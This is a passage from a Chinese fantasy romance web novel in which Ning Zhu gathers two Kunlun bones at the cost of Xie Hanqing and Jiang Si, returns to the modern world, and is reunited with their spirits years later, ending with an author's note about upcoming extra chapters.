一同注视着面前已经完成的傀儡。 宁竹盯了半晌,扭过头看江似:“江似,你快好好休息一下吧,你脸色怎么那么难看?” 江似轻轻拉住她的手:“没事, 我让人准备了你爱吃的饭菜, 我们先去用晚膳吧。” 宁竹点点头, 两人并肩往外走。 江似喉头满是血腥味。 脊骨处隐隐作痛, 昆仑骨被剖去了一半, 叫得他无时无刻不在痛。 江似看了一眼那具傀儡。 傀儡里现在有一半他的昆仑骨, 有一半谢寒卿的昆仑骨。 若论神力, 绝对比宁竹体内的红丝强。 ……只差最后一步。 他们一起用完了晚膳,白晚甚至还来找宁竹说了会儿话。 宁竹将新编的绒花递给她:“喜不喜欢这个颜色?” 是一朵浅粉色的绒花, 像是修仙界常常种植的流樱花。 白晚接过绒花,簪在发间:“你编的我怎么会不喜欢。” 两人相视一笑。 宁竹忽然抬手抱了一下她:“我走啦。” 白晚也重重回抱了一下她, 小声说:“你在尊上耳边吹吹枕头风, 过两天让他放我们一起去修真界玩一趟。” 宁竹忍住泪意:“嗯。” 她看向窗外的月亮,今天晚上的月亮……真圆啊。 宁竹回到屋中。 江似再度妖化,安静地坐在傀儡边。 宁竹轻轻牵住他的手:“江似,我想去幽冥集市, 我想去那间宅院,带上那两具傀儡。” 江似从善如流,揽住她的腰,两人很快出现在幽冥集市。 妖化后的江似,对她可谓言听计从。 小院中草木葱茏, 落英缤纷,香气幽幽。 江似牵着她的手,两人并肩坐在屋檐下, 看着天上的星星。 “江似。” “宁竹,我在。” “这里的星星也好亮。” 比她的世界里更亮。 江似一点点收紧了手,不定声色道:“这里是哪里?” 宁竹笑起来:“就是这里啊。” “还记得我跟说过的话吗?” “……要约束魔修。” 江似的眼瞳泛起红,他嗓子喑哑:“嗯。” 宁竹微笑着说:“也要好好照顾自己,好好吃饭,好好睡觉。” 江似偏头看她:“为什么要说这些。” 某一瞬间,宁竹险些以为江似已经恢复了神智,她眼尾轻跳,盯着他说:“只是想关心你。” 江似喉头泛起血腥味。 他生生忍下,偏头靠在 她肩膀上:“你要陪着我,这样我就会好好吃饭,好好睡觉。” 宁竹忍住哽咽。 不能再拖了,再拖……她会舍不得。 宁竹轻轻蹭了下他的头顶:“好。” 风轻轻吹,风灯摇晃,发出吱呀吱呀的响。 宁竹忽然开口:“江似,还记得进入归墟前,你曾答应过我,无论什么代价,都会帮我吗?” “现在我告诉你……我问神鸟的问题,是如何回家。” 她的指尖落在他脊骨上:“这块昆仑骨,可以帮我回家。” 宁竹的眼泪落下来,打湿了他的衣襟:“你会帮我吗?” 江似用执拗黢黑的眼看着她:“好。” 宁竹像是被拖进了一场轮回播放的旧电影。 她看着江似握住她递过去的匕首,剖开脊骨,取出那块鲜血淋漓的金色骨头,总觉得一切都似曾相识。 少年的指尖在一点点变得透明,如同一团流沙,将要散开。 他微笑着,将昆仑骨递给她:“宁竹。” 宁竹泪流满面,她抬手,想要再抱他一下,江似的身子却如蝶四散,金光落在她的衣袖和发梢,如同温柔的告别。 引魂符,定魂符,江似的元神懵懵懂懂飘入傀儡中。 月色凄清,映照在那具不会呼吸,也没有心跳的傀儡上。 宁竹跪在地上嚎啕大哭。 许久之后,她将江似藏好,收拾好自己,在识海中唤:“谢师兄,能来幽冥集市的宅院一趟吗?” 几乎是话音刚落,谢寒卿便出现在宁竹面前。 宁竹已经有些麻木了,她没有觉察到异常。 小仙君将她拥入怀中。 她的身子凉得像冰,却在谢寒卿的怀抱中一点点温暖起来。 谢寒卿抬起指腹,温柔拭去她眼角的泪珠:“宁宁,为什么哭了。” 宁竹将他抱得更紧:“……因为舍不得。” 谢寒卿眼眸微动:“为什么舍不得。” 宁竹埋在他肩头:“……舍不得你,舍不得这里。” 谢师兄现在什么都不记得,宁竹没忍住说了真话。 谢寒卿回抱住她:“宁宁,不要走。” “不要走就不会舍不得。” 宁竹沉默片刻,低声说:“对不起。” “谢师兄,可是我要回家。” 谢寒卿眼尾猩红:“宁宁,你的家不就在这里吗?” 宁竹忍不住抱着他大哭起来:“这里是我的家,那里也是我的家,我怕爷爷等不了了……” 原来如此。 谢寒卿垂着眼眸,原来宁宁在那边……也还有家人。 宁竹像是要把这辈子的眼泪都流干净。 最后她咬着牙,轻声说:“谢师兄……你可以帮我吗?” 她艰难道:“你的昆仑骨,能帮我回家。” 仿佛旧梦重现。 谢寒卿将那块鲜血淋漓的昆仑骨递到她面前:“宁宁,给你。” 宁竹忽然冲上去抱住他。 小仙君的身子如同无数花瓣纷飞散落。 宁竹缓缓收紧手臂,直到谢寒卿彻底消散。 花落如雪。 宁竹跪在地上,握着两块昆仑骨,哑声说:“漓鸾仙尊,我已经拿到两块昆仑骨了。” 宁竹眉心一凉,漓鸾的声音响起:“昆仑骨现世,为祸人间,是时候该了结了。” 宁竹一怔。 她总觉得这句话在什么时候听到过。 然而就在昆仑骨飞向宁竹身体的那一刹,附着谢寒卿元神的那具傀儡忽然动了。 傀儡横空夺走两块昆仑骨,电光石火间,金光已经隐没在傀儡身体中! 漓鸾声音有几分慌乱:“不好!” 他试图催动神力抢夺那块昆仑骨,然而触碰上傀儡的一瞬,他竟觉察到一股熟悉的神力。 漓鸾一怔。 是属于神女的神力! 傀儡周身都沐浴在金光中。 片刻后,似乎有两股强悍的力量催动,傀儡表面裂开无数蛛网一般的细纹。 昆仑骨的神力在对抗,那些细纹不断修复,但又被更强悍的力量撕裂。 周围飞沙走石,花枝折断,宁竹愣愣看着前方。 空气中,两道身影若隐若现,一人白袍若雪,一人黑衣如墨。 ……分明是谢寒卿和江似!! “谢师兄!江似!” 漓鸾也被眼前的状况惊呆了,他愕然看着那股力量在硬生生摧毁昆仑骨。 直到江似咬牙切齿道:“臭鸟!不是要把昆仑骨毁掉吗!搭把手啊!” 漓鸾后知后觉,忙送出神力,助他们困住傀儡体内的昆仑骨。 昆仑骨被困在傀儡体内,疯狂挣扎着,想要往外逃脱,然而却有一股力量将它牢牢锁住,融化侵蚀它。 漓鸾不敢置信道:“你们用了什么方法,竟能困住昆仑骨?!” 江似和谢寒卿在生生用自己的元神去消解那块昆仑骨,以元神对抗昆仑骨,若非两人的元神受昆仑骨滋养数年,此时已然神魂俱灭。 他们的元神像被一只大手无情揉搓,痛得似乎有千万道雷霆碾过。 两人根本分不出来多余的力气向漓鸾解释。 昆仑骨在哀嚎,在震怒,谢寒卿和江似的元神有那么几瞬变得几乎透明,像是要消散了一般。 傀儡身上的金光慢慢淡去。 周遭安静了一瞬,江似和谢寒卿合力朝着傀儡冲去! 那一瞬天摇地动,气浪将宁竹掀飞,傀儡霎时化为无数金光,四散在天地间。 天幕似乎被撕开了一个裂口,宁竹好像跌到一片混沌中,她迷茫仰头,看到巨大的鲲鹏从云海见飞过,一道天梯直通云海。 漓鸾道:“宁竹,虚空破碎,通道开启了。” 似乎有人温柔地抱住宁竹,宁竹抬头。 谢寒卿的元神几乎已经化为透明,小仙君眼瞳清冷,温柔地注视着她。 如同流沙散落,他的身子一点点化为金光,飘散在风中。 金光不舍地在宁竹身边缠绕,如同千万只翩跹的蝶,又如同情人之间温柔的抚摸。 而不远处,江似的元神跪在地上,大半个身子也都化作透明。 江似在对她说什么,但宁竹耳边一片嗡鸣。 宁竹伸手抓住那些金光,金光从指尖散落,根本抓不住。 宁竹张了张唇,哑声开口:“谢师兄?” 谢师兄呢? 谢师兄的元神呢? 宁竹踉踉跄跄跌到江似身边,颤抖着声音:“江似,江似!” 江似的元神忽明忽暗,仿佛马上就要像谢寒卿那般,化为金光消散。 宁竹扑上去抓他的手,指尖却从空气中穿过。 宁竹哭着喊:“江似!!” 江似抬起手,似乎想要帮她擦掉眼泪。 然而眼泪穿过他的指尖,掉在宁竹裙摆上。 江似笑了笑:“宁竹,你还要走么?” 宁竹嚎啕大哭,她试图去抱江似,却一次又一次从他的身体中穿过:“不回了,我不离开了!” 宁竹胡乱地从乾坤袋里掏出一叠又一叠符箓,往江似身上试,可是根本没用。 他们以元神化解昆仑骨,与神力对抗,残破的神魂又岂是普通符箓能修复的。 江似低头看了一眼自己几乎透明的身子,啧了一声:“真奇怪。” 漓鸾的声音变得焦急:“宁竹!通道就快要关闭了!你再不走就来不及了!” 宁竹绝望道:“漓鸾仙尊!你帮帮江似!” 漓鸾陷入沉默。 那具傀儡……原来是昆仑骨和他们的元神所塑,所以方才才能轻而易举与他们体内剩余的昆仑骨融为一体。 他们用自己体内的昆仑骨造了一个容器,引诱剩下的昆仑骨被困其中,又以元神为引,毁去了昆仑骨。 谢寒卿的元神……连凝聚都不能,已是无药可救。 江似的元神虽然残缺,但温养百年,或许还有一线生机。 漓鸾叹了一口气:“宁竹,你放心,我会帮他的。” ……只是他元神毁坏太过,哪怕将来恢复,恐怕也会五感缺失,沦为废人。 这些话,他没说出口。 忽有一道力度卷住宁竹的腰,宁竹的元神从肉身中脱离。 宁竹终于能感受到江似。 然而下一刻,江似带着宁竹的元神飞了起来,直直飞向天梯。 属于谢寒卿的金光就缭绕在宁竹身边,将她温柔包裹住。 耳边传来两道声音。 “笨蛋,我这个样子,不死也是个废人了,你还信他?” 另一道声音清冷又温柔:“宁宁,趁我还没彻底消散,我们护送你回家。” 他们头一次没有争吵,而是笼住宁竹的元神,带着她穿过云海,与鲲鹏擦肩,飞向天梯。 宁竹在挣扎:“不!不要!!” “你们会彻底消散的!回去!快回去啊!” 金光化为飘舞的丝带,温柔覆住她的眼。 江似将她搂到怀中。 两人齐齐说:“别怕。” 他们从天梯一跃而下。 所有的光都消失了,仿佛沉入无垠深海,又仿佛天地始开。 倏然之间,无数色彩各异,紊乱纷繁的光芒亮起。 他们飞快穿梭在其中,神 魂仿佛要被巨大的威压撵作齑粉。 江似和谢寒卿紧紧将她护在中间。 宁竹惊恐地看到属于谢寒卿的金光被一点点变得黯淡,而江似的身子被一点点撕成碎片。 她目眦欲裂,痛苦,绝望,后悔如同潮水将她淹没。 宁竹摊开手,将已经失去意识的江似和几点金光笼在怀中。 痛苦侵蚀,眼前变成刺目的白。 ……就这么死掉,也很好。 至少,他们三个还在一起。 一切归于平静。 *** “小宁,小宁!”有重重的敲门声响起。 宁竹猛然惊醒。 她拧开床头灯,浑身冷汗靠在床头,片刻后,宁竹吞掉床头柜上的药片,哑声道:“爷爷,我没事。” 宁老头站在门口不放心道:“爷爷在床头柜给你放了保温杯,喝点热水。” “知道啦爷爷。” 宁老头无声摇了下头,佝偻着背脊离开。 距离小宁突如其来昏迷,已经过去五年了,但她还是时不时会做噩梦,半夜尖叫着醒来。 宁竹将自己蜷缩起来,看向窗外。 城市光污染太严重,哪怕是深夜,也有深深浅浅的灯光,星星和月亮反倒看不分明。 宁竹赤足站到窗边,点了点玻璃。 “我又做噩梦了,你们还不来看我吗?” 窗外只有树枝摇曳。 宁竹在窗边站了片刻,手心忽然被人挠了下。 宁竹猛然回头:“江似!” 无人回应。 宁竹掉下泪来。 ……她知道,他们跟着她回来了。 第一次见到他们,是在医院。 宁竹哭喊着从病床上醒来,惊动了无数医生护士。 他们不得不给她打了一针镇定剂。 宁竹哭泣着失去意识前,分明看到江似飘在上空中俯瞰着她,而他身边,缭绕着星星点点的金光。 第二次见到他们,是她刚上大学的时候。 一个学长殷勤的来帮她搬行李,却以一个绝不可能的姿势摔在了她面前。 第三次,第四次……无数次。 五年时间过去,她毕业,工作,像是一个正常人生活。 修真界的一切仿佛一场梦,但宁竹一直在等。 等一个不可能的可能。 五年后。 宁竹的爷爷心脏病发作,在睡梦中无声离去,没有遭遇痛苦。 灵堂上,远房亲戚用怜悯的眼神看着她,背地里议论:“这孩子……现在就是个彻头彻尾的孤儿了。” 宁竹跪在灵堂上,面色很平静。 她看着爷爷的遗照,认真磕了一个头。 爷爷,从今以后,我在这个世界上,就再也没有亲人了。 宁竹的眼泪无声掉落。 起身时,似乎有人轻轻抚了下她的发。 宁竹一怔,低头无声抽泣起来。 爷爷去世在一个春天,正是满山落英缤纷的时候。 第二年,宁竹抱着一束菊花去扫坟。 爷爷的墓地和奶奶的墓地紧紧挨在一起。 宁竹扫完墓,坐在他们的墓地面前,呆呆看着两位老人的遗像。 忽有花枝掉落,打在宁竹头上。 宁竹猛然回头。 花枝摇曳,树下空无一人。 宁竹抿了下唇,眼泪猝不及防掉下来。 花落如雨,纷纷扬扬,轻轻擦过她的脸颊,落在她的发梢,似在温柔地安慰她。 宁竹抬手,捧住细碎洁白的花瓣,将花瓣笼在她眉心。 他们一直在陪着她。 就这样……也很好。 宁竹二十八岁生日,是普普通通的一天。 她出生在一个秋日,正是漫山红遍,层林尽染的时候。 宁竹裹紧了风衣,在公司楼下的花店买了一束花,站在满地金黄的落叶中等公交车。 “宁竹。” 宁竹一惊,猛然回头。 一个清秀斯文的男生站在身后,手里捧着一束花,微笑着看着她。 是隔壁部门的同事,宁竹不记得他叫什么了,只记得是去年刚毕业的大学生。 她有点尴尬。 男生笑着说:“程与晋。” “哦……程与晋,好巧,你也在这里等公交啊。” 程与晋垂眼笑道:“车来了。” 两人一起上了车。 城市的光影在窗外拉长变幻,落叶纷飞,偶尔扑打在车窗玻璃上。 公交驶过六个站,程与晋还没有下车,宁竹视线飘忽,落在他身上。 那么巧吗? 又过了两个站,宁竹到了。 她礼貌地对程与晋点点头:“我到了,我先走了。” “宁竹。”程与晋忽然把手里的花递给她:“生日快乐。” 宁竹稀里糊涂地捧着花走下了公交车。 车上有几个年轻人在起哄,公交车启动,程与晋微笑着朝她招了招手。 宁竹看着手里的那束花,扔也不是,留也不是,最后只能拿着回了家,随手放在茶几上。 吃完饭洗完澡,她订的蛋糕也送到了。 宁竹一个人吃,却足足订了个十六寸的蛋糕。 这些年,她已经形成了习惯,会把蛋糕分成很多份,就当那些再也见不到的朋友也陪着她一同过生日了。 可惜今年爷爷也不在了。 宁竹盯着蛋糕发了会儿呆,插上了蜡烛。 “咔哒。” 火机点燃蜡烛,幽暗微弱的火苗亮起。 宁竹闭上眼睛。 年复一年,她许的愿望不曾变过。 唯愿故友安康,会有相逢之日。 她忘了合上窗户,起了风,蜡烛忽然熄灭。 宁竹摸索着站起身,打算去开灯。 就在这时,黑暗中忽然亮起一簇幽光。 如同流萤四散,又似星辰漂浮。 那些光慢慢凝聚成两个熟悉的身影。 宁竹手中的蛋糕刀掉在了地上。 谢寒卿和江似并肩而立,一人瞳色清寒,一人眼眸幽深。 他们身后一片混沌,絮絮人声响起。 “宁竹师妹,已过百年,你为什么还没有醒?” “宁竹!你要是还不醒,我就再也不理你了!” “宁竹,我用庭院中那棵云英花酿了酒,味道很好,你一定会喜欢的,等你醒了,一定要尝一尝。” “宁竹……” “宁宁。”谢寒卿的声音再度在识海中响起。 “宁竹!该死,终于可以跟你说话了!”江似的声音也响起。 宁竹看着那两个随时会消散的身影,颤抖着声音说:“谢师兄!江似!” “你们在哪里?” 谢寒卿沉默片刻:“宁宁,我们一直在这里。” 宁竹冲上前,试图去拥抱他们。 然而只触碰到一团空气。 宁竹哭泣道:“为什么我还是不能碰到你们?” 好像有人在她耳边幽幽叹道:“因为那是修真界属于我们的残念。” 宁竹眼眸微微瞪大:“残念?你们不是跟着我一起来了这里吗?” 她有些不敢置信:“难道我们还能回去?” 谢寒卿给了她笃定的回答:“嗯。” 宁竹欢喜得掉下泪来:“谢师兄!我要怎么才能回去?” 江似有点紧张道:“我们只能把你的元神带回去,宁竹,你在这里的肉身……” 宁竹摇头:“我在这个世界已经没有任何牵挂的东西,谢师兄,江似,带我走,我想回修真界!” 属于他们的残念温柔看着她。 识海之中,江似在颤声问:“……宁竹,你真的愿意跟我们回去吗?” ……他们陪伴她十年之久,早已明白,她的世界也很好。 宁竹微笑着看向那两道残念:“我愿意。” 她等这个回答,已经等了十年。 光芒一点点变亮,仿佛无数星辰汇聚成海,将宁竹淹没。 谢寒卿和江似的神魂化为一尾巨大的鲸,拖住了她的身子。 他们一同向无垠的海遨游。 窗外枫叶缓缓落下,枯黄的叶片打着旋儿落到桌上。 蛋糕中间插着的立牌上写着八个字—— 岁岁年年,永不离分—— 作者有话说:后面进入番外啦,会有修真界后续,现代日常等等,谢谢宝宝们一路支持!《 》